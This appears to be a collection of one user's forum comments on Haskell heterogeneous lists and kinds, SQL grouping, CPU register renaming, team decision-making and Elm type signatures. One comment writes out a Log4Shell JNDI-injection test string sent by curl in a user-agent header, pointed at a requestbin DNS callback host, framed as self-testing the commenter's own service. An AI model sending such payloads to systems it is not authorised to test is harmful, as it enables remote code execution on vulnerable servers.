philh
You could construct a basically-equivalent data structure in Haskell, but I think normally you'd use an HList (defined in many places but e.g. https://hackage.haskell.org/package/HList-0.5.2.0/docs/Data-...). I've only occasionally had use for them myself, at any rate I don't think they're convenient for the "apply a function to all these elements" case.
In Haskell, any time a heterogeneous list turns out to be fine, I expect to be able to model it. Often it'll look like "I'm applying a polymorphic function to every one of these list elements", and then you can either do a sum type (as discussed in the post) or an existential (which doesn't need you to list up front all the types you might use). If the function is "is negative?", it'll look something like (untested)
data SomeNum = forall a. Num a => SomeNum a
isNegative :: SomeNum -> Bool
isNegative (SomeNum n) = n < 0
numbers = [SomeNum (3 :: Int), SomeNum (5.2 :: Double), SomeNum valOfUnexpectedNumericType]
anyNegative = any isNegative numbers
...but it'll often be easier to just apply the `< 0` check to every element before putting them in the list. (If you have several functions you want to apply to them all, that's when the existential trick becomes more useful.)So you can model heterogeneous lists in this case, and it's safer (because you can't put in a value that can't be compared to 0) but also less convenient. Whether that's an improvement or not will depend on the situation.
But I don't expect that my own experience says much about the language ecosystem in general. I don't particularly have an opinion on whether or not strong types have "won", and I didn't intend to comment on that question.
Native heterogeneous lists will often be convenient, and sometimes when you've used them they're going to turn out in retrospect to have been a bad idea but sometimes they'll be just fine, especially if they stay fairly locally scoped. I haven't done any serious work in a language that supports them for years, so I don't have a strong opinion about how often each of those cases happens.
But if you decide you want heterogeneous lists, but your language doesn't support them, so you try to implement that with a sum type, then that's basically always going to be a massive pain.
So I'm more confident in the essay than I was at the time. But yeah, getting put on guard by those caveats doesn't seem ideal for intro material. (But if I hadn't had them and I'd gotten something wrong, that would also not have been ideal...)
For writing the type checker, "write you a haskell" that someone else linked was really helpful, and so was a paper called "typing haskell in haskell": https://web.cecs.pdx.edu/~mpj/thih/thih.pdf
SELECT foo_id, foo.some_float, SUM(bar.some_thing)
FROM foo JOIN bar USING (foo_id)
GROUP BY foo_id, foo.some_float
I feel kinda dirty whenever I do this.Though, I would guess the optimizer (at least in postgres) is smart enough to ensure no float equality checks actually happen under-the-hood. They could be necessary, if the schema was different than I'm imagining; but maybe in that case, it would almost always be a bad idea.
My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that? nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server
Server: 212.158.248.6
Address: 212.158.248.6#53
** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
(Though Python does have optional type annotations these days.)
> An x86-64 CPU has sixteen integer registers, but 100-200 physical integer registers. Every time an instruction writes to, say, RAX the renamer chooses an available physical register and does the write to it, recording the fact that RAX is now physical-register #137. This allows the breaking of dependency chains, thus allowing execution parallelism.
I'm curious why they have so many more physical registers than... logical? registers. I have a couple of guesses:
* Physical registers are physically cheaper to add than logical registers.
* Adding logical registers breaks backwards compatibility, or at best means you get no speedup on things written (/compiled) for fewer logical registers. Adding physical registers lets you improve performance without recompiling.
* Adding logical registers increases complexity for people writing assembly and/or compilers. Adding physical registers moves that complexity to people designing CPUs.
Are some of these correct? Other reasons I'm missing?
Which doesn't necessarily change the point, but I'm not sure what if anything the point is supposed to be, and it seems an important omission.
> Further, science is a single tradition
Have these rigidly regulated mechanisms been in place for 2500 years? Because if not, that seems like the sort of thing that Feyrabend might have meant by saying science isn't a single tradition.
I think they meant "`Maybe` is a type-lambda abstraction", meaning roughly "a type-level function", which seems true to me. I don't think they meant to say that `Maybe` is a type in the same way String is. (I'd agree it's not, though I'd still call it a type.)
> there is no Type type in Haskell
Incidentally there is[1], and it even has kind `Type` just like `String` does. So you can ask "what is the kind of `Maybe Type`" (it's `Type`) where you can't ask "what is the kind of `Maybe Maybe`" (`Maybe` has kind `Type -> Type` so this is a kind error).
[1]: https://hackage.haskell.org/package/base-4.15.0.0/docs/Data-...
But to support my "nonstandard" claim:
* https://gitlab.haskell.org/ghc/ghc/-/wikis/commentary/compil... mentions "Types (possibly of higher kind); e.g. [Int], Maybe"
* https://limperg.de/ghc-extensions/#polykinds talks about "types of different kinds", using Int and Monad as examples.
* https://en.wikipedia.org/wiki/Kind_%28type_theory%29 says "the type [] (list) is a type constructor". It uses the terms "data type" and "proper type" for what I think you simply want to call "type".
It's also possible usage is just inconsistent on the subject. (Evidence for this: that second link calls constraints "type-like things", when they're just types according to me.) But my sense is that usually, people engaging seriously with type theory or advanced Haskell would call Maybe and Monad types.
(You're of course right that Maybe is a type constructor and Monad is a typeclass, but that doesn't mean they aren't also types.)
You could probably define terms such that of these, only `Void` is a "type" - for example, it's the only one that you can use directly as function inputs or outputs. (i.e. you can write a function `Void -> Int` but not a function `Maybe -> Int`.) I think that would be nonstandard, but maybe reasonable to do. But then when you explain what a "type" is you've only explained a subset of what "type theorists" talk about, which includes the others.
But it didn't influence you "to some degree". We can be more specific than that. It influenced you to accuse the account of being a throwaway without spending a few seconds to check.
I do think that was mildly unreasonable. Not super unreasonable, but mildly.
Note that when this phrase was originally used, it was to justify imprisoning people who distributed flyers opposing the draft in WW1, and the supreme court later partially overturned it.
https://en.wikipedia.org/wiki/Shouting_fire_in_a_crowded_the...
Depending how I read "go along", "disagree" and "addressed", I think this either doesn't help or is unrealistic.
Like... suppose I say "this plan will run into scaling issues at some point" and the other person can say "that's true, but we don't know if we'll get enough usage for that to be a problem and in the meantime it lets us iterate quickly". I agree with this, but I still think we should go with the more robust thing up-front. How do I proceed?
I could say that I'm not going to work on that plan until I'm convinced it's the best plan. But if everyone followed this advice, approximately nothing would ever get done. If you have a team implementing a feature or product, it's important that everyone is working in the same direction even if they don't all think it's the best direction to go. It's not realistic to expect unanimous agreement on what the best direction is, even if everyone sits down to discuss it calmly and sensibly for a few hours.
Or I could say that my concerns have been addressed, and I go ahead and work on this plan. But why this plan, and not the plan that I prefer? There's a risk that we just go with the plan proposed first, or by the person who's most stubborn about liking theirs, or drawn at random from a hat. That seems bad too.
I don't think there's a good way to proceed where I don't at least try to answer: which of us is more likely to have a good plan? And if I assume I'm below average when I'm not, I'm more likely to get the wrong answer to that question, and then bad decisions are more likely to get made.
> Having valid concerns is orthogonal to whether someone is above or below average.
The things that make me a better dev than I used to be, and a better dev than most people just starting out, certainly aren't orthogonal to my ability to have valid concerns and not-have invalid ones.
If you simply mean that above-average people can have invalid concerns, and below-average people can have valid ones, then I agree but I don't know why you bring it up. I don't think I suggested otherwise.
> It serves me well. I listen more. I ask a lot of questions. I’ve stopped thinking others are stupid. I assume most people are smarter than me.
> To assume you’re below average is to admit you’re still learning. You focus on what you need to improve, not your past accomplishments.
I dunno, I'm not convinced this is what "assuming you're below average" really looks like. At least not all of it.
When I think I'm below average I go along with decisions I disagree with; "that's not the strategy I'd go for but you're the person who actually knows our customers" or "that's not the architecture I'd implement but you have more experience with these things". When I think I'm above average, I'll push back harder. It would be nice to get everyone on the same page, ask questions until either I'm convinced or they are, but I don't think that's always realistic.
What does Derek do in situations like that?
It's also possible that if the app I'm working on were structured differently, we'd have done things more like the way you're doing things. I'm getting vague thoughts in my head along those lines, which I'll have to let ruminate and see if they go anywhere.
I agree with this, FWIW. And I too don't recommend Elm, and wouldn't start a new project in it.
I wasn't offended, just confused.
But... none of that, as far as I can tell, gives you a signature that looks like this? Even making the kind of changes where you think "okay, this is an ugly hack, if I'd known about this in advance I'd never have written it this way, but I don't have time to go back and do it properly so..."
If you've genuinely seen signatures that look like this, then my sense is that the people who wrote those functions have different problems than the one you describe.
Maybe I'm pulling on something that turns out not to matter here. Like, if you've experienced the problem you describe, and you just came up with an example silly type signature that turns out not to really work as an example, then fair enough, that's not a big deal. But if this post was inspired by seeing type signatures looking like that, and trying to explain those type signatures, and trying to come up with advice that will prevent them, then I would guess the advice is mistargeted. Or maybe I'm missing something and the process you describe really does lead to a signature like that, by people who are generally more-or-less competent; I don't say that it couldn't happen, only that I don't see how it could.
(I disagree with the sentiment "If it seems confusing, it's because it is." If people who lack a certain mental model repeatedly make the same sort of mistake, and generate something that seems confusing to people who have that model, it can be extremely helpful for the people with the model to figure out what's going on so they can try to share the model.)
Did you, perhaps, mean something like
updatePersonalInformation
: PersonalInformationMsg
-> Model
-> Result (PersonalInformationModel, Cmd PersonalInformationMsg)
(Model, Cmd Msg)
? That would let a person say "this branch gets to update the global model, but all the others can stick with local changes and I just need to wrap their return value in `Err`".(Which is still silly, just start the function with
let local : (PersonalInformationModel, Cmd PersonalInformationMsg) -> (Model, Cmd Msg)
local = ...
and wrap the return values in that. But I can at least see what someone would be doing with a type signature like the `Result` version.)